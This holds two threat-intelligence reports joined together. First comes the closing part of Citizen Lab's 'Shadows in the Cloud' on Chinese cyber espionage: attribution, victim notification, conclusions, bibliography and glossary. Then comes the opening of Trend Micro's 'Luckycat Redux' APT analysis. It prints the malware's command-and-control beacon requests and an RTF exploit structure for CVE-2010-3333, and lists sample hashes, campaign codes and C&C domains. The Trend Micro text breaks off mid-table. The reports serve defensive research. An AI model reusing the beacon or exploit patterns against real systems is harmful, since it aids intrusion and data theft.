5.2.2 Cyber Crime The activity of cyber criminals in the PRC parallels the activities of cyber criminals around the globe.
The Chinese hacker community has been known to engage in criminal activities, primarily motivated by profit.
Acting independently of state direction, they are involved in the buying and selling of malware, theft of intellectual property, theft of gaming credentials, fraud, blackmail, music and video piracy, and pornography (Henderson 2007b).
This activity is complex and further obfuscated by the move of Eastern European-based criminal networks into Chinese cyberspace (Vass 2007).
Researchers have identified several core components of the cyber crime ecosystem in the PRC: Malware Authors    motivated by profit and/or stature within the blackhat community, malware authors le- verage their technical skills to create and distribute exploits (including 0day vulnerabilities) as well as trojan horse programs.
Their services are often advertised on discussion forums.
Website Masters/Crackers    by maintaining malicious websites, exploiting vulnerable websites and provid- ing hosting for the command and control capabilities of trojans, the website masters/crackers provide the infrastructure for cybercrime in the PRC Envelopes Stealers    focus on acquiring username and password pairs, known as envelopes, through the use of malware kits, which are then sold.
They operate and maintain networks of infected computers but purchase services from malware authors and website masters/crackers to compensate for their general lack of technical skill.
Virtual Asset Stealers/Sellers    by exploiting their knowledge of the underground economy, virtual asset stealers/sellers purchase compromised credentials from envelopes stealers and sell virtual assets to online games players, QQ users and others who drive the demand for stolen virtual goods (Choo 2008 Thibodeau 2010 Zhuge et al.
2009).
In additional to politically sensitive information, we did find that personal information, including banking information, was exfiltrated by the attackers.
It is possible that in addition to exploiting the politically sensitive information the attacks may have also had an interest in exploiting the financial data that was stolen although we have no direct knowledge of such events occurring.
5.2.3 Overall Assessment Attribution concerning cyber espionage networks is a complex task, given the inherently obscure modus operandi of the agents or groups under investigation.
Cyber criminals aim to mask their identities, and the networks investigated in this report are dispersed across multiple platforms and national jurisdictions.
Complicating matters further is the politicization of attribution questions, particularly concerning Chinese inten- JR03-2010  Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE 40 tions around information warfare.
Clearly this investigation and our analysis tracks back directly to the PRC, and to known entities within the criminal underground of the PRC.
There is also an obvious correlation to be drawn between the victims, the nature of the documents stolen, and the strategic interests of the Chinese state.
But correlations do not equal causation.
It is certainly possible that the attackers were directed in some manner either by sub-contract or privateering  by agents of the Chinese state, but we have no evidence to prove that assertion.
It is also possible that the agents behind the Shadow network are operating for motives other than political espionage, as our investigation and analysis only uncovered a slice of what is undoubtedly a larger set of networks.
Even more remote, but still at least within the realm of possibility, is the false flag scenario, that another government altogether is masking a political espionage operation to appear as if it is coming from within the PRC.
Drawing these different scenarios and alternative explanations together, the most plausible explanation, and the one supported by the evidence, is that the Shadow network is based out of the PRC by one or more individuals with strong connections to the Chinese criminal underground.
Given the often murky relationships that can exist between this underground and elements of the state, the information collected by the Shadow network may end up in the possession of some entity of the Chinese government.
5.3 Notification Investigations of malware activity, such as that undertaken as part of the Shadow and GhostNet investigations, can yield information about the network infrastructure of the attackers, information about those who have been compromised, and confidential or private documents or other data that may have been exfiltrated without prior knowledge.
Access to this information on all levels raises a number of practical, ethical and legal issues, many of which are unclear given the embryonic nature of the field of inquiry as a whole.
Throughout this investigation, we have been conscious of these issues and have attempted to meet a profes- sional standard in terms of planning and documenting our steps taken in the process of notification.
This entailed research into existing practices and principles, and engagement with the law enforcement, intelligence and security communities in a number of countries.
We were also conscious of the need to comply with the do- mestic laws in whose context this investigation was undertaken  namely those of India, the United States and Canada  as well as principles governing all academic research at the University of Toronto, where the Citizen Lab is located.
Notification itself can be broken down into several categories, each of which entails complicating factors.
First, there is notification that is required to takedown the command and control infrastructure, typically to the hosting and service provider companies through which the malware networks operate and on which they are hosted.
Complicating matters, these services can be located in numerous national jurisdictions and subject to a variety of privacy laws and norms.
Second, there are issues around notification of victims, such as governments, businesses, NGOs and individuals.
This type of notification is perhaps the most challenging on ethical, practical and legal grounds.
Notification of governments, for example, can be a very sensitive matter, especially if classi- fied documents are involved or information is retrieved that is relevant to national security concerns.
The same holds true of notification to individuals or businesses.
At what point should a researcher notify a victim?
Who within the organization, whether it is a government, a business or an NGO, is the appropriate point of contact for the notification?
What if the notification jeopardizes a third partys security, or leads to some kind of retalia- tion or retribution?
Should researchers notify law enforcement and intelligence agencies in their own countries before reaching out to foreign governments?
JR03-2010  Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE 41 Existing practices in this area are underdeveloped and largely informal.
In part, this reflects the fact that global cyber security is still an embryonic field.
But it also speaks to the very real problem of competitive power politics at the highest levels of national security, which tend to restrict information sharing in sensitive areas around cyber crime and espionage.
Generally speaking, information sharing among law enforcement and intel- ligence agencies across borders is tentative at best, with the exception of that which occurs among close allies with deeply entrenched and long-standing links.
Outside of those security communities, notification of services and governments tends to be restricted to specialist technical communities, telecommunications operators, and network administrators, if it occurs at all.
Consequently, notification of the types referred to above can be ad hoc and inconsistent, largely contingent on the informal connections among professional communities.
All of these issues were grappled with in the aftermath of the Tracking GhostNet report, and throughout the course of the Shadow investigation.
Our experiences in the aftermath of GhostNet, where notification was left incomplete, prompted a more deliberate and self-conscious approach with the Shadow investigation.
We were also fortunate to have within our collaboration the experiences of the Shadowserver Foundation, whose counsel on notification helped in making decisions about timing and contacts.
By the end of November 2009, we were confident in our access to the basic command and control infrastructure and identification of some of the key documents at hand.
Upon the realization that some information about individual Canadians was compromised, we notified Canadian authorities in December 2009 about the investi- gation, the compromise of Canadian-related information, and requested assistance on outreach with one of the victims, namely the Indian government.
At the same time, we independently explored whom we might contact in the Indian government, including making inquiries with Canadas Department of Foreign Affairs.
By February 2010, we were able to find on our own what we thought was an appropriate contact in the Indian government, and gave a detailed notification to the National Technology Research Organization.
Our notification for takedown of the command and control infrastructure came later in the investigation, after we had collected and analyzed all of the information related to this report, but prior to its release.
Our experiences illustrate the intricate, nuanced and often confusing landscape of global cyber security notifica- tion practices.
The notification process will continue after the publication of this report.
PART 6: Conclusions JR03-2010  Shadows in the Cloud - PART 6: CONCLUSIONS 43 Shadows in the Cloud points to a disturbing complex ecosystem of malware.
Although malware networks, cyber crime and espionage have been around for years, the evidence presented here shows how these networks can be aggressively adaptive systems, multipying and regenerating across multiple vectors and platforms, and exploting the vulnerabilties within the latest Web 2.0 technologies to expand their reach and impact.
Although there is rich detail to what is uncovered in the Shadow investigation, so much of the origins, architecture and aims of these networks ultimately remain a mystery and await further investigation and analysis.
However, even with the partial insights and fleeting glimpses acquired here, we can draw some conclusions and implications for further research, policy and operations.
First, the research here shows, as with Tracking GhostNet, how even a relatively small research sample  in this case Tibetan organizations  can expand, upon investigation and analysis, into an astonishingly large pool of victims.
The connections drawn out here beg the question of what would emerge if the research began with a different group, from a different region of the world, with a different target set of compromised actors?
Clearly, an area of methodological advantage for both the Tracking GhostNet and the Shadows in the Cloud investiga- tions was to have access in the field to compromised computers and be able to work outwards in a structured and systematic fashion, using a combination of technical investigations and data analysis.
An area of further research is to extend such efforts to other locations in other regions of the world.
Such investigations may reveal other malware networks, or entirely new and unanticipated modes of crime and espionage.
Second, Shadows in the Cloud underscores the extent to which the global networked society into which we have evolved socially, politically, economically, and militarily carries with it an underground ecoystem that is equally networked, though far less visible to those whom it compromises.
Governments, organizations and other actors around the world have been quick to adopt computerized public and administration systems, including state security actors.
Their investments into these technologies have developed at a much faster rate than the appropriate security policies and practices (Deibert and Rohozinski 2010).
Although the Government of India was the most victimized according to what we uncovered in Shadows in the Cloud  and that certainly should yield a major consideration of public policy and security for that country observations about India in this respect need to be qualified in at least two ways.
First, Shadows in the Cloud reports only on observations and existing evidence, which by definition remain partial.
There could be other countries victimized, involving these very same malware networks attackers, but of which we are unaware because of our limited samples.
Second, and most importantly, there are numerous other countries and inter- national organizations that are targeted here, perhaps not to the same extent, but targeted and infiltrated none- theless.
We can only infer what type of data was exfiltrated from these other actors that is of strategic value.
Overall, however, the key point to draw is that networked societies can be compromised through networks in which they are invariably linked and mutually dependent.
Third, and related, Shadows in the Cloud demonstrates clearly the potential for collateral compromise, one of the key hypotheses informing our research framework.
This investigation indicates that data leakage from malware networks can compromise unwitting third parties who are not initially targeted by the attackers.
Data contained on compromised machines can also contain valuable information on third parties that while on its own may not be significant, but when pieced together with other information can provide actionable and operational intelligence.
The policy and operational implications of collateral compromise are serious and wide- ranging, and reinforce that security is only as strong as the weakest link in a chain.
In todays networked world, such chains are complex, overlapping and dispersed across numerous technological platforms crossing multiple JR03-2010  Shadows in the Cloud - PART 6: CONCLUSIONS 44 national jurisdictions.
Paying attention to domestic cyber security is therefore only a partial solution to a much wider problem.
Today, no country or organization is a secure island in the global sea of information.
Fourth, another implication raised by Shadows in the Cloud is for criminal networks to be repurposed for political espionage as part of an evolution in signals intelligence.
Although our conclusions are necessarily circumscribed by our lack of complete information in this respect, we may be seeing a blurring of the lines in malware geno- types among crimeware and more politically-motivated attacks.
Part of that blurring may be deliberate on the part of actors wishing to obscure attribution, but part of it may also be a newly emerging and largely organic market for espionage products that was either contained or nonexistent in the past, and which now supple- ments the market for industrial espionage.
This market may present opportunities for actors that, in turn, pro- duce a refinement in their approach or methodology.
Criminal actors may troll for targets widely as a first cut, triaging among the available sources of information to zero-in on those that yield commercial value on both the industrial and political espionage markets.
Such a development would pose major policy and operational issues, and accelerate existing trends down the road of cyber privateering.
Finally, a major implication of the findings of Shadows in the Cloud relates to the evolution towards cloud computing, social networking and peer-to-peer networking technologies that characterize much of the global networked society today.
These new modes of information storage and communication carry with them many conveniences and so now are fully integrated into personal life, business, government and social organization.
But as shown in the Shadow investigation, these new platforms are also being used as vectors of malware propagation and command and control (Office of Privacy Commissioner of Canada 2010).
It is often said that dark clouds carry with them silver linings, but in this case the clouds contain within them a dark hidden core.
As we document above, blog hosting sites, social networking forums and mail groups were turned into support structures and command and control systems for a malignant enterprise.
The very same characteristics of those social networking and cloud platforms which make them so attractive to the legitimate user  reliability, distribution, redundancy and so forth  were what attracted our attackers to them in setting up their network.
Clouds provide criminals and espionage networks with convenient cover, tiered defences, redundancy, cheap hosting and conveniently distributed command and control architectures.
They also provide a stealthy and very powerful mode of infiltrating targets who have become accustomed to clicking on links and opening PDFs and other documents as naturally as opening an office door.
What is required now is a much greater reflection on what it will take, in terms of personal computing, corporate responsibility and government policy, to acculturate a greater sensibility around cloud security.
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Jensen, Meiko, Jorg Schwenk, Nils Grushka, and Luigi Lo Iancono.
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On Technical Security Issues in Cloud Computing, 2009 IEEE International Conference on Cloud Computing, Bangalore India, 109-116, http://www.computer.org/portal/web/csdl/doi/10.1109/CLOUD.2009.60 (accessed April 1 2010).
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http://www.wired.com/politics/security/news/2007/09/embassy_hack http://www.wired.com/threatlevel/2007/11/swedish-researc/ixzz0ex7BEUYk http://www.theaeonsolution.com/security/?p231 http://www.theaeonsolution.com/security/?p251 http://www.dtic.mil/cgi-bin/GetTRDoc?ADADA509167ampLocationU2ampdocGetTRDoc.pdf http://blog.fireeye.com/research/2009/11/smashing-the-ozdok.html http://portal.acm.org/citation.cfm?id1558607.1558675 http://googleonlinesecurity.blogspot.com/2010/03/chilling-effects-of-malware.html http://isc.sans.org/SANSFIRE2008-Is_Troy_Burning_Vanhorenbeeck.pdf http://isc.sans.org/diary.html?storyid4177 http://events.ccc.de/congress/2007/Fahrplan/events/2189.en.html http://www.eecs.berkeley.edu/Pubs/TechRpts/2009/EECS-2009-28.pdf http://www.computer.org/portal/web/csdl/doi/10.1109/CLOUD.2009.60 JR03-2010 Shadows in the Cloud - BIBLIOGRAPHY  SUGGESTED READINGS 49 International Law Radsan, Afsheen John.
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The Unresolved Equation of Espionage and International Law, Michigan Journal of International Law, 28:597, 596-623.
Rajnovic, Damir, 2009.
Do We Need a Global CERT?
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Research on the International Law of Information Network Operations, Air Force Engineering University, Xian China, http://en.cnki.com.cn/Article_en/CJFDTOTAL-HBFX200901009.htm (accessed April 1 2010).
Chinese Information Warfare, Strategy and Doctrine Bruzdzinski, Jason E. 2004.
Demystifying Shashoujian: Chinas Assassins Mace Concept In Civil-Military Change in China: Elites, Institutes and Ideas After the 16th Party Congress, Andrew Scobell, Larry Wortzel (Eds), 179-218, Strategic Studies Institute: Carlise, PA.
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Dragon Bytes: Chinese Information-War Theory and Practice, Foreign Military Studies Office: Fort Leavenworth, KS.
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A Preliminary Analysis of Information Warfare, Zhongguo Junshi Kexue, 102-111.
Fusion Methodology and Intelligence Ieva, Christopher S. 2008.
The Holistic Targeting (HOT) Methodology as the Means to Improve Information Operations (IO) Target Development and Prioritization, Naval Postgraduate School, Monterey, CA http://www.stormingmedia.us/81/8168/A816884.html (ac- cessed April 1, 2010).
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A RAND Analysis Tool for Intelligence, Surveillance, and Reconnaissance: The Collections Operations Model RAND: Santa Monica, CA.
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Complexity Theory and Network Centric Warfare, Information Age Transformation Series, Command and Control Research Program, Pentagon, Washington, DC, http://www.dodccrp.org/files/Moffat_Complexity.pdf (accessed April 1 2010).
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http://www.web.ca/robrien/papers/arfinal.html http://chinaperspectives.revues.org/document4836.html JR03-2010 Shadows in the Cloud - GLOSSARY 51 Glossary 0day - is an exploit for which there is no fix from the software vendor available.
Botnet - refers to a collection of compromised networked computers that can be controlled remotely by an attacker.
Beacon / beaconing / check in - attempts by a compromised computer to connect to a command and control server.
Blackhat - generally refers to a person who attempts to compromise information technology systems or networks for malicious purposes.
Cloud computing  - is an emerging computing paradigm that generally refers to systems that enable network devices to access data, services, and applications on-demand.
Command and control server  - refers to the network server that sends commands to compromised computers in a botnet.
DNS (domain name system) - is a hierarchical naming system for computers, services, or any resource participating in the Internet.
DoS Attack (denial of service attack) - is an attempt to prevent users from accessing a specific computer resource, such as a Web site.
DDoS, (distributed denial of service attacks) usually involve overwhelming the targeted computer with requests so that it is no longer able to communicate with its intended users.
HTTP (Hypertext Transfer Protocol) - is a set of standards for exchanging text, images, sound and video by means of the Internet.
IP address (Internet protocol address) - is a numerical identification assigned to devices participating in a computer network utlizing the Internet protocol.
Malware (malicious software) - refers to software designed to carry out a malicious purpose.
Varieties of malware include computer viruses, worms, trojan horses, and spyware.
OHHDL - Office of His Holiness the Dalai Lama.
Phishing - an attack in which an attacker attempts to obtain sensitive information from an individual by masquerading as a trusted third party.
A common example of such an attack is a user receiving an email from a source that appears to be a trustworthy entity, such as the users bank.
Such emails often request the user to visit a website that appears to be the login page of a service they use, such as online banking, and enter their username and password, which is then collected by the attackers and used for malicious purposes.
PRC - Peoples Republic of China.
Sinkhole - Operating domain names formerly used as command and control servers.
Spear phishing - is a targeted form of phishing in which a victim is typically sent an email that appears to be from an individual or organization they know.
Usually the content of the email includes information that is relevant to the victim and includes a malicious file attachment or link  that when opened excecutes malicious code on the victims computer.
RiR (Regional Internet Registry) - is an organization that manages the allocation and registration of Internet number resources within a specific geographic region.
TGIE - Tibetan Government in Exile.
TPIE - Tibetan Parliament in Exile.
Tor - is an anonymity system that defends users from traffic analysis attacks in which attackers attempt to monitor users online behaviour.
JR03-2010 Shadows in the Cloud - GLOSSARY 52 Web 2.0 - typically refers to Web-based applications and services that enable user participation, collaboration, and data sharing.
WHOIS - is a public database of all domain name registrations, which provides information on individuals who register domain names.
Whitehat - generally refers to a person who attempts to infiltrate information technology systems or networks in order to expose weakness so they can be corrected by the systems owners.
Also known as an ethical hacker.
Cover Foreword Acknowledgements Executive Summary TABLE OF CONTENTS Part 1: Background  Context Part 2: Methodology  Investigative Techniques Part 3: Mapping the Shadows... Part 4: Targets  Effects Part 5: Tackling Cyber Espionage Part 6: Conclusions Bibliography Glossary
Trend Micro Research Paper 2012 LUCKYCAT REDUX Inside an APT Campaign with Multiple Targets in India and Japan By: Forward-Looking Threat Research Team CONTENTS Introduction .................................................................................... 1 Diversity of Targets ................................................................ 1 Diversity of Malware ............................................................. 2 Diversity of Infrastructure ................................................... 2 Operations .............................................................................. 2 Attribution............................................................................... 2 Luckycat .......................................................................................... 3 Examples of Luckycat Attacks ............................................4 Example 1: Japan ............................................................4 Example 2: India .............................................................4 Example 3: Tibet .............................................................5 Vulnerabilities and Malware Samples ......................................5 Campaign Codes ........................................................................... 7 Command and Control .................................................................8 Operations ......................................................................................9 Attribution ...................................................................................... 11 Campaign Connections ...............................................................12 ShadowNet .............................................................................12 Duojeen ................................................................................... 13 Sparksrv .................................................................................15 Comfoo ....................................................................................16 Conclusion .....................................................................................19 Defending Against APTs .............................................................19 Local and External Threat Intelligence  ..........................19 Mitigation and Cleanup Strategy .....................................20 Educating Employees Against Social Engineering ......20 Data-Centric Protection Strategy ....................................20 Trend Micro Threat Protection Against Luckycat Campaign Components ..............................................................21 LUCKYCAT REDUX INTRODUCTION The number of targeted attacks has dramatically increased.
Unlike largely indiscriminate attacks that focus on stealing credit card and banking information associated with cybercrime, targeted attacks noticeably differ and are better characterized as cyber espionage.
Highly targeted attacks are computer intrusions threat actors stage in order to aggressively pursue and compromise specific targets, often leveraging social engineering, in order to maintain persistent presence within the victims network so they can move laterally and extract sensitive information.1 In a typical targeted attack, a target receives a contextually relevant email that encourages a potential victim to click a link or open a file.2 The links and files the attackers send contain malicious code that exploits vulnerabilities in popular software.
The exploits payload is a malware that is silently executed on the targets computer.
This exploitation allows the attackers to take control of and obtain data from the compromised computer.
In other cases, the attackers send disguised executable files, usually compressed in archives that, if opened, also compromise the targets computer.
The malware connects back to command-and-control (CC) servers under the attackers control from which they can command the compromised computer to download additional malware and tools that allow them to move laterally throughout the targets network.
These attacks are, however, not isolated smash-and-grab incidents but are part of consistent campaigns that aim to establish covert presence in a targets network so that information can be extracted as needed.
Targeted attacks are rarely isolated events.
In fact, they are constant.
It is more useful to think of them as campaignsa series of failed and successful attempts to compromise a targets network over a certain period of time.
The attackers, in fact, often keep track of the different attacks within a campaign in order to determine which individual attack compromised a specific victims network.
As the attackers learn more about their targets from open source researchrelying on publicly available information, as well as previous attacks, the specificity of the attacks may sharply increase.
1 http://www.trendmicro.com/cloud-content/us/pdfs/security- intelligence/white-papers/wp_trends-in-targeted-attacks.pdf 2 Targeted attacks can sometimes be conducted through instant messages instead of emails.
Cyber-espionage campaigns often focus on specific industries or communities of interest in addition to a geographic focus.
Different positions of visibility often yield additional sets of targets pursued by the same threat actors.
We have been tracking the campaign dubbed Luckycat and found that in addition to targeting Indian military research institutions, as previously revealed by Symantec, the same campaign targeted entities in Japan as well as the Tibetan community.3 The Luckycat campaign targeted the following industries and/or communities: Aerospace Energy Engineering The Luckycat campaign attacked a diverse set of targets using a variety of malware, some of which have been linked to other cyber-espionage campaigns.
The attackers behind this campaign maintain a diverse set of CC infrastructure and leverages anonymity tools to obfuscate their operations.
We were able to track elements of this campaign to hackers based in China.
Diversity of targets The Luckycat campaign, which has been active since at least June 2011, has been linked to 90 attacks against targets in Japan and India as well as Tibetan activists.
Each malware attack involves a unique campaign code that can be used to track which victims were compromised by which malware attack.
This illustrates that the attackers are both very aggressive and continually target their intended victims.
These are not smash-and-grab attacks but constitute a campaign comprising a series of ongoing attacks over time.
In sum, the Luckycat campaign managed to compromise 233 computers.4 3 http://www.symantec.com/content/en/us/enterprise/media/security_ response/whitepapers/the_luckycat_hackers.pdf 4 This number represents the unique MAC addresses of the victims that were stored by the attackers on their CC infrastructure.
Shipping Military research Tibetan activists http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_trends-in-targeted-attacks.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_trends-in-targeted-attacks.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_luckycat_hackers.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_luckycat_hackers.pdf LUCKYCAT REDUX Diversity of Malware We were able to identify five malware families either utilized by or hosted on the same dedicated server the Luckycat campaign uses.
Some were used as second- stage malware that the attackers pushed to victims whose networks were compromised by first-stage malware.
Second-stage malware typically provide additional functionality and are especially used if the first-stage malware prove very simplistic.
In addition, we found that the attackers used multiple malware families that coincide with malware that have been used in other campaigns.
This indicates a level of collaboration across campaigns.
Diversity of infrastructure The Luckycat campaign use free web-hosting services that provide a diversity of domain names as well as IP addresses.
This distributes the campaign, making it more difficult to track.
However, the attackers also made use of Virtual Private Servers (VPSs) that not only housed their primary malwareTROJ_WIMMIE, but others as well.5 These servers may also act as anchors, as servers on free hosting services are shut down for malicious activity.
As a result, the campaign stabilized its infrastructure over time, transferring victims, often through the use of second- stage malware, from free hosting servers to their stable core of VPSs.
5 VPSs are dedicated hosting services that can be purchased online.
operations TROJ_WIMMIE, favored by the Luckycat attackers, bundles a significant amount of information on the victim and uploads it to a CC server.
One such file recovered from a CC server is actually the result of a test run by the attackers.
The information reveals that the attackers use proxy and anonymity tools to shield their identities as well as a variety of mailing programs to instigate targeted attacks.
In addition, the language settings of the attackers computers indicate that they are Chinese speakers.
This is consistent with the information Symantec obtained, which shows that the attackers logged in to their CC server from IP addresses allocated to China.
attribution Using open source research, we were able to connect the email address used to register one of the Luckycat CC servers to a hacker in the Chinese underground community.
He uses the nickname, dang0102, and has published posts in the famous hacker forum, XFocus, as well as recruited others to join a research project on network attack and defense at the Information Security Institute of the Sichuan University.
The hacker, also known as scuhkr, has authored articles related to backdoors and shellcode in a hacking magazine.
LUCKYCAT REDUX LUCKYCAT The malware used in the Luckycat campaign, detected by Trend Micro as TROJ_WIMMIE6 or VBS_WIMMIE,7 connects to a CC server via HTTP over port 80.
It is notable because it uses Windows Management Instrumentation (WMI)8 to establish persistence.9 VBS_WIMMIE registers a script that works as a backdoor to the WMI event handler and deletes files associated with it or TROJ_WIMMIE.
As a result, the backdoor cannot be detected by antivirus software through simple file scanning.
The compromised computer posts data to a PHP script that runs on the CC server, usually count.php.
POST/count/count.php?mcn[HOSTNAME]_ [MAC_ADDRESS]_[CAMPAIGN_CODE]HTTP/1.0 Accept: / UA-CPU: x86 User-Agent: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1 .NET CLR 2.0.50727 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729) Host: [HOSTNAME] Content-Length: 0 Connection: Keep-Alive Pragma: no-cache The initial communication results in the creation of a file on the CC server that contains information on the compromised computer.
Although the file is empty, the file name contains the hostname of the compromised computer, followed by its MAC address, along with the campaign code the attackers use to identify which malware attack caused the compromise: [HOSTNAME]_[MAC_ADDRESS]_[CAMPAIGN_CODE] 6 http://about-threats.trendmicro.com/Malware.
aspx?languageusnameTROJ_WIMMIE.C 7 http://about-threats.trendmicro.com/malware.
aspx?languageusnameVBS_WIMMIE.C 8 The Luckycat malware may be notable but its technique is no longer new, as the WMI malware featured in the paper cited below also exhibited the same capability.
9 http://www.trendmicro.com/cloud-content/us/pdfs/security- intelligence/white-papers/wp__understanding-wmi-malware.pdf The attacker then creates a file with a name that ends in .c, which contains a command.
[
HOSTNAME]_[MAC_ADDRESS]_[CAMPAIGN_ CODE].c The compromised computer then downloads the file and executes the specified command, which may include any of the following: Download file Upload file The compromised computer then sends the output to the CC server and deletes the command file: POST/count/count.php?mwn[HOST_NAME]_ [MAC_ADDRESS]_[CAMPAIGN_CODE].t HTTP/1.0 POST/count/count.php?mdn[HOST_NAME]_ [MAC_ADDRESS]_[CAMPAIGN_CODE].c HTTP/1.0 One of the common initial commands instructs the compromised computer to upload the results of information-gathering commands.
This command causes the compromised computer to create a directory listing of the available drives, along with the output of the commands, ipconfig, tasklist, and systeminfo.
The resulting files are compressed using the CAB compression format and uploaded to the CC server.
This provides the attackers a full set of information to evaluate the nature of the compromised computer.
Get external IP address Execute shell command http://about-threats.trendmicro.com/Malware.aspx?languageusnameTROJ_WIMMIE.C http://about-threats.trendmicro.com/Malware.aspx?languageusnameTROJ_WIMMIE.C http://about-threats.trendmicro.com/malware.aspx?languageusnameVBS_WIMMIE.C http://about-threats.trendmicro.com/malware.aspx?languageusnameVBS_WIMMIE.C http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp__understanding-wmi-malware.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp__understanding-wmi-malware.pdf LUCKYCAT REDUX exaMples of luckycat attacks Example 1: Japan Figure 1: Decoy document opened after exploiting an Adobe Reader vulnerability A targeted email was sent to some organizations in Japan.
One of the attacks occurred during the confusion after the Great East Japan Earthquake and the Fukushima Nuclear Power Plant accident.
The attackers used the disaster to lure potential victims into opening a malicious .PDF attachment.
The .PDF file exploited a vulnerability in Adobe ReaderCVE-2010-2883, in order to drop TROJ_WIMMIE onto the targets system.10 This malware communicated with a Luckycat CC server.
The decoy document contains the radiation dose measurement results, which were published on the Tokyo Power Electric Company (TEPCO) website.11 10 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-2883 11 http://www.tepco.co.jp/nu/monitoring/11032805.pdf Example 2: India Figure 2: Redacted decoy document opened after exploiting a Microsoft Word vulnerability A malicious document containing information on Indias ballistic missile defense program was used to lure potential victims into opening it.
This document contains malicious code that exploits a vulnerability in Microsoft OfficeCVE- 2010-3333, to drop TROJ_WIMMIE onto a compromised system so this would connect to a CC server the Luckycat hackers operate.12 12 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-3333 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-2883 http://www.tepco.co.jp/nu/monitoring/11032805.pdf http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-3333 LUCKYCAT REDUX Example 3: Tibet Figure 3: Decoy document opened after exploiting a Microsoft Office vulnerability Malicious emails and .DOC attachments that leverage Tibetan themes in order to trick recipients into opening them have been found.
This particular sample exploits the same vulnerability in Microsoft OfficeCVE-2010-3333, to drop TROJ_WIMMIE onto the targets system so it would communicate back to a CC server the Luckycat hackers operate.
VULNERABILITIES AND MALWARE SAMPLES Most of the samples we have seen exploited CVE-2010- 3333.
Dubbed the Rich Text Format (RTF) Stack Buffer Overflow Vulnerability, this causes a buffer overflow in the Microsoft Word RTF parser when the pFragments shape property is given a malformed value.
To verify the exploitation, one should look out for the following keywords: pFragments: Seen after the string, \sn \sv: Exploit code is seen after this The typical structure of the malicious RTF document is: \rtf1\shp\sp\sn pFragments\sv exploit code The rest of the samples we found exploited the following vulnerabilities in Adobe Reader and Flash Player: CVE-2010-2883:Adobe Reader TTF SING table parsing vulnerability CVE-2010-3654:Adobe Flash Player AVM2 multi-name button class vulnerability13 CVE-2011-0611:Adobe Flash Player AVM1 shared object type vulnerability14 CVE-2011-2462:Adobe Reader U3D component vulnerability15 13 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-3654 14 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2011-0611 15 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2011-2462 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-3654 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2011-0611 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2011-2462 LUCKYCAT REDUX MD5 CVE Identifier Campaign Code dab3f591b37f5147ae92570323b5c47d CVE-2010-3333 w1229 c023544af85edacc66cd577a0d665dec CVE-2010-3333 w1229 cff0964ed2df5659b0a563f32b7c3eca CVE-2010-3333 214 3deb2a5fcb6bf1f80a074fd351e6f620 CVE-2010-3333 2012 1aa1e795a5ba75f2a5862c6d01205b57 CVE-2010-2883 CVE-2010-3654 CVE-2011-0611 110824p 6a62d4532c7a0656381fee8fb51874d7 CVE-2010-2883 CVE-2010-3654 CVE-2011-0611 longjiao cb9ab22f3356a3b054a7e9282a69f71e CVE-2011-2462 gop 1dafdc9e507771d0d8887348ce3f1c52 CVE-2010-3333 gop 039a6e012f33495a1308b815ef098459 CVE-2010-3333 luck be0b2e7a53b1dcacb8c54c180dc4ca27 CVE-2010-2883 CVE-2010-3654 CVE-2011-0611 11727p 00f07b0e701dcfa49e1c907f9242d028 CVE-2010-2883 CVE-2010-3654 CVE-2011-0611 110705hktq 411ab5eb2ef3153b61a49964f9ab4e64 CVE-2011-2462 1229 dcac508495d9800e476aa0c8e11b748d CVE-2010-3333 2012 00e686e382806c33d9ae77256f33ed93 Not applicable LY Table 1: Luckycat malware samples sorted by exploit and campaign code LUCKYCAT REDUX CAMPAIGN CODES Each malware attack involves a unique campaign code that can be used to track which systems were compromised by which attack.
The campaign codes often contain dates that indicate when each malware attack was launched.
This demonstrates how actively and frequently the attackers launched attacks.
The campaign codes also reveal the attackers intent, as some of these referenced the intended targets.
The following lists the campaign codes we discovered: 0607e 0609af 0613deliinfo 0613f 0614senior 0616itiT8 0706gggg 0804ggggdatanet1 0805ggggetp 0805ggggstp 0805ecil 0805gggg 0818ICG 0823ggggARDE 0824ggg 0826ggggtnd 1017navydiwali 1017ggg 1025gggCSC 1025gggSC 110714jdap 110714tp 110715x 110718p 110816h 110824p 1108navyeast 1108vpsecretary 111031pp 1110mea 1114round 1122bol 1122gmail 1122other 11421is9 1145j9yb 1147s9 1148dq8 11614lmpn 11725imp 11727p 1229 2012 214 28 1090silver89 110228cl 110311cl 110315cl 110315 110321cl 110329 110504 110603p89 110606rg789 110616np 110705hktq 110706gggg 110706hal 110705hktq 110708hktqw 110711gggg 110711hal 110711xzg 110713jp 64sc109pfye 64sc239pf9010 720halheli 729ggggsenior 919ggggstp ggggstpdomainserver dang279wrdye god gop ishan99dfp j1141ap99 j4611dq9 kondulgml27pfye longjiao luck LY nec3rd79dfp nfounrsvan99uc nne ongs239pfye sai stmlsp211wd w1229 wwwroot zz1227 LUCKYCAT REDUX COMMAND AND CONTROL The Luckycat campaign extensively use free hosting services.
We recorded the domains the attackers used as well as the email addresses they utilized to register the domains, if available.
While the domains, including their suffixes, were considerably diverse, all were available from three different free hosting services.
As such, the attackers had nothing to lose but time in order to continue creating diverse domain names for CC servers.
Domain Email Address cattree.1x.biz lindagreen56rediffmail.com charlesbrain.shop.co yamagami_2011mail.goo.
ne.jp footballworldcup.website.org ajayalpnahotmail.com frankwhales.shop.co yamagami_2011mail.goo.
